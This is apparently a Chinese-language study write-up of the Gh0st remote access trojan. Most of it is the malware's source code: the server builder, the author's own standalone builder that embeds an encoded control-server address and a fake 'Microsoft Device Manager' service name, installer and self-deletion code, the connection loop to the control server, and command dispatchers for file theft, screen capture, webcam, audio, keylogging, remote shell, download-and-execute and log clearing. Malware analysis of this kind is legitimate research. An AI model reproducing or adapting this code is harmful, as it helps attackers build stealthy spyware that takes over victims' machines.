gh0st源码分析

流程理解

客户端通过本地模板并写入信息生成服务端-install.exe 具体逻辑将提前放在.rdata中的dll取出,并注册服务在svchost下

dll的内容是删去install.exe并且自行隐藏,然后取出加密后的ip解密,向客户端发送随机事件名,响应后根据发来的包决定转接哪个Manager,如FIle,Screen等

代码结构

1
2
3
4
5
6
7
8
9
10
11
12
13
gh0st/
├─gh0st/
| ├─gh0st.cpp #客户端的初始化
| ├─BuildView.cpp #读取Server文件,写入加密信息
| └──SettingsView.cpp#ip和端口号的填写加密
├─install/
| └─install.cpp #运行时解密出需要的信息,取出svchost挂在服务下
└─svchost/
├─svchost.cpp #删除install,基本上就隐藏了,然后登录客户端,调用
| #KernelManager等待响应
├─KernelManager.cpp#分发Manager的,比如Screen、Keyboard
├─FileManager.cpp #接收客户端的信息进行文件操作
└─ScreenManager.cpp#接收客户端信息进行屏幕操作

源码分析

客户端部分

从模板install.exe中生成服务端exe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
void CBuildView::OnBuild() 
{
// TODO: Add your control notification handler code here
UpdateData(true);
if (m_ServiceDisplayName.IsEmpty() || m_ServiceDescription.IsEmpty())
{
AfxMessageBox("请完整填写服务显示名称和描述 -:(");
return;
}
CString strAddress;

// 保存配置
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "DisplayName", m_ServiceDisplayName);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "Description", m_ServiceDescription);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Build", "enablehttp", m_enable_http);
if (m_enable_http)
{
CString str;
GetDlgItemText(IDC_URL, str);
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "httpurl", str);
str.MakeLower();
strAddress = MyEncode(str.GetBuffer(0));
}
else
{
GetDlgItemText(IDC_DNS_STRING, strAddress);
//读取格式为AAAA加密后的ipAAAA
if (strAddress.Find("AAAA") == -1)
{
AfxMessageBox("域名上线字串格式出错 -:(");
return;
}
strAddress.Replace("AAAA", "");
}

CString strServiceConfig;
strServiceConfig.Format("%s|%s", MyEncode(m_ServiceDisplayName.GetBuffer(0)),
MyEncode(m_ServiceDescription.GetBuffer(0)));

CFileDialog dlg(FALSE, "exe", "server.exe", OFN_OVERWRITEPROMPT,"可执行文件|*.exe", NULL);
if(dlg.DoModal () != IDOK)
return;

HINSTANCE hInstance;
HRSRC hResInfo;
DWORD dwResLen;
HGLOBAL hResData;
LPBYTE lpData;
hInstance = AfxGetApp()->m_hInstance;
hResInfo = FindResource(hInstance, (LPCTSTR)IDR_BSS, (LPCTSTR)"BSS");
dwResLen = SizeofResource(hInstance, hResInfo);
hResData = LoadResource(hInstance, hResInfo);
lpData = (LPBYTE)LockResource(hResData);

CFile file;
if(file.Open (dlg.GetPathName(), CFile::modeCreate | CFile::modeWrite))
{
try
{
file.Write(lpData, dwResLen);
// 写入6个'C',是服务的名称和描述
file.Write("CCCCCC", 6);
file.Write(strServiceConfig, strServiceConfig.GetLength() + 1);
// 写入6个'A',安装时查找
file.Write("AAAAAA", 6);
file.Write(strAddress, strAddress.GetLength() + 1);
file.Close();
AfxMessageBox("文件保存成功,请用加壳软件进行压缩 -:)");
}
catch(...)
{
MessageBox("文件保存失败,请检查","提示",MB_OK|MB_ICONSTOP);
}
}
FreeResource(hResData);
}

这里每次改动dll或者install.exe的时候都要按照svchost->install->gh0st的顺序全部重新编译,所以自己复现了一个直接凭借install.exe生成目标文件的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#include<stdio.h>
#include<Windows.h>
#include<iostream>
#include<stdlib.h>
#include<string>
#include<cstring>
#include<time.h>
using namespace std;
char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int base64_encode(const void* data, int size, char** str)
{
char* s, * p;
int i;
int c;
const unsigned char* q;

p = s = (char*)malloc(size * 4 / 3 + 4);
if (p == NULL)
return -1;
q = (const unsigned char*)data;
i = 0;
for (i = 0; i < size;) {
c = q[i++];
c *= 256;
if (i < size)
c += q[i];
i++;
c *= 256;
if (i < size)
c += q[i];
i++;
p[0] = base64[(c & 0x00fc0000) >> 18];
p[1] = base64[(c & 0x0003f000) >> 12];
p[2] = base64[(c & 0x00000fc0) >> 6];
p[3] = base64[(c & 0x0000003f) >> 0];
if (i > size)
p[3] = '=';
if (i > size + 1)
p[2] = '=';
p += 4;
}
*p = 0;
*str = s;
return strlen(s);
}

char* MyEncode(char* str)
{
int i, len;
char* p;
char* s, * data;
len = strlen(str) + 1;
s = (char*)malloc(len);
memcpy(s, str, len);
for (i = 0; i < len; i++)
{
s[i] ^= 0x19;
s[i] += 0x86;
}
base64_encode(s, len, &data);
free(s);
return data;
}
void my_strstr(char* a1, char* a2, int len)
{
for (int i = 0; i < len; i++)
a1[i] = a2[i];
}

int main()
{
srand(time(NULL));
int enablehttp = 0;
char InputStr[100]; //端口域名
char* EnInputStr;
scanf("%s", InputStr);
//printf("%s", MyEncode(InputStr));
EnInputStr = MyEncode(InputStr);
char strServiceConfig[100];

char DisplayName[100];
sprintf_s(DisplayName, "Microsoft Device Manager_%02x", rand() % 0xff);

char Description[] = "监测和监视新硬件设备并自动更新设备驱动";
sprintf_s(strServiceConfig, "%s|%s", MyEncode(DisplayName),MyEncode(Description));



char str1[100] = "CCCCCC";
strcat(str1, strServiceConfig);

char str2[100] = "AAAAAA";
strcat(str2, EnInputStr);

printf("%s\n", str1);
printf("%s\n", str2);

try {
char* pfile = NULL;
FILE* pf = NULL;
ULONG_PTR size;
ULONG_PTR read_size;
fopen_s(&pf, "E:\\study\\Trojan\\Gh0st-vs2019--main\\Gh0st-vs2019--main\\gh0st-vs2019\\gh0st\\res\\install.exe", "rb");
if (pf == NULL) throw "[-]: fopen wrong";
fseek(pf, 0, SEEK_END);
size = ftell(pf);
fseek(pf, 0, SEEK_SET);
pfile = (char*)malloc(size);
if (pfile == NULL) throw "[-]: malloc wrong";
read_size = fread(pfile, sizeof(char), size, pf);
if (read_size != size) throw "[-]: fread wrong";

char pathname[200];
sprintf_s(pathname, "E:\\study\\Trojan\\Gh0st-vs2019--main\\Gh0st-vs2019--main\\gh0st-vs2019\\gh0st\\Release\\server\\server_%02x.exe", rand() % 0xff);

fclose(pf);
pf = NULL;
fopen_s(&pf, pathname, "wb");
if (pf == NULL) throw "[-]: fopen wrong";

fwrite(pfile, 1, size, pf);
fwrite(str1, 1, strlen(str1) + 1, pf);
fwrite(str2, 1, strlen(str2) + 1, pf);
}
catch (const char* msg)
{
printf("%s\n", msg);
DWORD err = GetLastError();
printf("0x%08x", err);
return 0;
}
catch(...)
{
printf("%x", GetLastError());
}
}

服务端部分

install

install的模板
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
__declspec(noinline)
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// 让启动程序时的小漏斗马上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);

char *lpEncodeString = NULL;
char *lpServiceConfig = NULL;
char *lpServiceDisplayName = NULL;
char *lpServiceDescription = NULL;
lpEncodeString = (char *)FindConfigString(hInstance, "AAAAAA");
if (lpEncodeString == NULL)
{
MessageBoxA(NULL, "Rrror in FindConfigStringAAAAAA", "l1pmoluy", MB_OK);
return -1;
}

lpServiceConfig = (char *)FindConfigString(hInstance, "CCCCCC");
if (lpServiceConfig == NULL)
{
MessageBoxA(NULL, "Rrror in FindConfigStringCCCCCC", "l1pmoluy", MB_OK);
return -1;
}
char* pos = strchr(lpServiceConfig, '|');
if (pos == NULL)
{
MessageBoxA(NULL, "Rrror in pos", "l1pmoluy", MB_OK);
return -1;
}
*pos = '\0';

lpEncodeString = MyDecode(lpEncodeString + 6);
lpServiceDisplayName = MyDecode(lpServiceConfig + 6);
lpServiceDescription = MyDecode(pos + 1);
if (lpServiceDisplayName == NULL || lpServiceDescription == NULL || lpEncodeString == NULL)
{
MessageBoxA(NULL, "Rrror in MyDecode", "l1pmoluy", MB_OK);
return -1;
}

char *lpServiceName = NULL;
char *lpUpdateArgs = "Gh0st Update";
// 补丁:这里是看文件名字有没有更新(在ini配置中文件定死的)
if (strstr(GetCommandLine(), lpUpdateArgs) == NULL)
{
HANDLE hMutex = CreateMutex(NULL, true, lpEncodeString);
DWORD dwLastError = GetLastError();
// 普通权限访问系统权限创建的Mutex,如果存在,如果存在就返回拒绝访问的错误
// 已经安装过一个一模一样配置的,就不安装了
if (dwLastError == ERROR_ALREADY_EXISTS || dwLastError == ERROR_ACCESS_DENIED)
return -1;
ReleaseMutex(hMutex);
CloseHandle(hMutex);
}
else
{
// 等待服务端自删除
Sleep(5000);
}

//设置异常处理
SetUnhandledExceptionFilter(bad_exception);

// 确保权限
SetAccessRights(); //这里提权显示成功,但是在后续OpenSCManager中仍然存在权限不足提示

//加载dll到svchost服务中 这里有错误,明明是创建的新服务却显示服务已存在
lpServiceName = InstallService(lpServiceDisplayName, lpServiceDescription, lpEncodeString);

if (lpServiceName != NULL)
{
// 写安装程序路径到注册表,服务开始后读取并删除
char strSelf[MAX_PATH];
char strSubKey[1024];
memset(strSelf, 0, sizeof(strSelf));
GetModuleFileName(NULL, strSelf, sizeof(strSelf));
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "InstallModule", REG_SZ, strSelf, lstrlen(strSelf), 0);
//转接dll
StartService(lpServiceName);
delete lpServiceName;
delete lpServiceDisplayName;
delete lpServiceDescription;

}
ExitProcess(0);
}

svchost

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
DWORD WINAPI main(char *lpServiceName)
#endif
{
#ifdef _CONSOLE
if (argc < 3)
{
printf("Usage:\n %s <Host> <Port>\n", argv[0]);
return -1;
}
#endif
// lpServiceName,在ServiceMain返回后就没有了
char strServiceName[256];
char strKillEvent[50];
HANDLE hInstallMutex = NULL;
#ifdef GH_DLL
char *lpURL = (char *)FindConfigString(CKeyboardManager::g_hInstance, "AAAAAA");
if (lpURL == NULL)
{
return -1;
}

//////////////////////////////////////////////////////////////////////////
// Set Window Station
HWINSTA hOldStation = GetProcessWindowStation();
HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
if (hWinSta != NULL)
SetProcessWindowStation(hWinSta);
//
//////////////////////////////////////////////////////////////////////////


if (CKeyboardManager::g_hInstance != NULL)
{
SetUnhandledExceptionFilter(bad_exception);

lstrcpy(strServiceName, lpServiceName);
wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名

hInstallMutex = CreateMutex(NULL, true, lpURL);
ReConfigService(strServiceName);
// 删除安装文件 实现自隐藏
DeleteInstallFile(lpServiceName);
}
#endif
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
SetErrorMode( SEM_FAILCRITICALERRORS);
char *lpszHost = NULL;
DWORD dwPort = 80;
char *lpszProxyHost = NULL;
DWORD dwProxyPort = 0;
char *lpszProxyUser = NULL;
char *lpszProxyPass = NULL;

HANDLE hEvent = NULL;

CClientSocket socketClient;
BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
while (1)
{
if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
{
for (int i = 0; i < 2000; i++)
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
break;

}
Sleep(60);
}
}
#ifdef GH_DLL
// 上线间隔为2分, 前6个'A'是标志
if (!getLoginInfo(MyDecode(lpURL + 6), &lpszHost, &dwPort, &lpszProxyHost,
&dwProxyPort, &lpszProxyUser, &lpszProxyPass))
{
bBreakError = GETLOGINFO_ERROR;
continue;
}
#else
lpszHost = argv[1];
dwPort = atoi(argv[2]);
#endif
if (lpszProxyHost != NULL)
socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
else
socketClient.setGlobalProxyOption();

DWORD dwTickCount = GetTickCount();
//连接
if (!socketClient.Connect(lpszHost, dwPort))
{
bBreakError = CONNECT_ERROR;
continue;
}
// 登录
DWORD dwExitCode = SOCKET_ERROR;
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
//初始化manager
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);

// 等待控制端发送激活命令,超时为10秒,重新连接,以防连接错误
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
{
Sleep(1000);
}
// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
if (!manager.IsActived())
continue;

DWORD dwIOCPEvent;
dwTickCount = GetTickCount();

do
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
Sleep(500);
} while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);

if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
}
#ifdef GH_DLL
#endif
SetErrorMode(0);
ReleaseMutex(hInstallMutex);
CloseHandle(hInstallMutex);
}

刚注册进来 系统调用ServiceMain ServiceMain简单完善一下后续 然后开线程调用main

main将端口号解密出来 判断是否唯一 给自己提一个端口权限 然后重新注册一个服务 把install删了

后面把加密后的端口弄出来 然后先连随便一个网站 然后解密出来端口号等信息后面登录 在登录socketClient.Connect中 会有新线程产生 也就是工作线程

m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);

工作线程先接受socket 这里在没有发socket的时候会阻塞住 接受到之后就开始解析 具体逻辑还要往里进看OnRead

1
2
3
4
5
WorkThread	堵塞等待接收socket
|
OnRead 判断socket是否为客户端发来的,并解包
|
Manager->OnReceive 调用Manager下的OnReceive

这里的Manager取决与前文中登录后的

CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);

socketClient.setManagerCallBack(&manager);

这里实现的便是设置Manager为KernelManager
所以这里调用的OnReceive就是分发Manager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_ACTIVED:
InterlockedExchange((LONG *)&m_bIsActived, true);
break;
case COMMAND_LIST_DRIVE: // 文件管理
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, false);
break;
case COMMAND_SCREEN_SPY: // 屏幕查看
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_WEBCAM: // 摄像头
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_AUDIO: // 摄像头
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SHELL: // 远程sehll
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_KEYBOARD:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SYSTEM:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;

case COMMAND_DOWN_EXEC: // 下载者
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
(LPVOID)(lpBuffer + 1), 0, NULL, true);
Sleep(100); // 传递参数用
break;
case COMMAND_OPEN_URL_SHOW: // 显示打开网页
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
break;
case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页
OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
break;
case COMMAND_REMOVE: // 卸载,
UnInstallService();
break;
case COMMAND_CLEAN_EVENT: // 清除日志
CleanEvent();
break;
case COMMAND_SESSION:
CSystemManager::ShutdownWindows(lpBuffer[1]);
break;
case COMMAND_RENAME_REMARK: // 改备注
SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));
break;
case COMMAND_UPDATE_SERVER: // 更新服务端
if (UpdateServer((char *)lpBuffer + 1))
UnInstallService();
break;
case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
break;
}
}
FileManager
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_LIST_FILES:// 获取文件列表
SendFilesList((char *)lpBuffer + 1);
break;
case COMMAND_DELETE_FILE:// 删除文件
DeleteFile((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DELETE_DIRECTORY:// 删除文件
////printf("删除目录 %s\n", (char *)(bPacket + 1));
DeleteDirectory((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DOWN_FILES: // 上传文件
UploadToRemote(lpBuffer + 1);
break;
case COMMAND_CONTINUE: // 上传文件
SendFileData(lpBuffer + 1);
break;
case COMMAND_CREATE_FOLDER:
CreateFolder(lpBuffer + 1);
break;
case COMMAND_RENAME_FILE:
Rename(lpBuffer + 1);
break;
case COMMAND_STOP:
StopTransfer();
break;
case COMMAND_SET_TRANSFER_MODE:
SetTransferMode(lpBuffer + 1);
break;
case COMMAND_FILE_SIZE:
CreateLocalRecvFile(lpBuffer + 1);
break;
case COMMAND_FILE_DATA:
WriteLocalRecvFile(lpBuffer + 1, nSize -1);
break;
case COMMAND_OPEN_FILE_SHOW:
OpenFile((char *)lpBuffer + 1, SW_SHOW);
break;
case COMMAND_OPEN_FILE_HIDE:
OpenFile((char *)lpBuffer + 1, SW_HIDE);
break;
default:
break;
}
}

这里的收到的包基本都是路径 进行的操作其实也就是找到路径对应的管理 然后进行操作就成

ScreenManager
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
try
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
// 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_RESET:
//重启屏幕捕获子系统
ResetScreen(*(LPBYTE)&lpBuffer[1]);
break;
case COMMAND_ALGORITHM_RESET:
//设置屏幕捕获的算法
m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setAlgorithm(m_bAlgorithm);
break;
case COMMAND_SCREEN_CTRL_ALT_DEL:
//Ctrl+Alt+Del
::SimulateCtrlAltDel();
break;
case COMMAND_SCREEN_CONTROL:
{
// 远程仍然可以操作
BlockInput(false);
ProcessCommand(lpBuffer + 1, nSize - 1);//挪动鼠标
BlockInput(m_bIsBlockInput);
}
break;
case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_BLANK:
m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
break;
case COMMAND_SCREEN_CAPTURE_LAYER:
m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendLocalClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
break;
default:
break;
}
}catch(...){}
}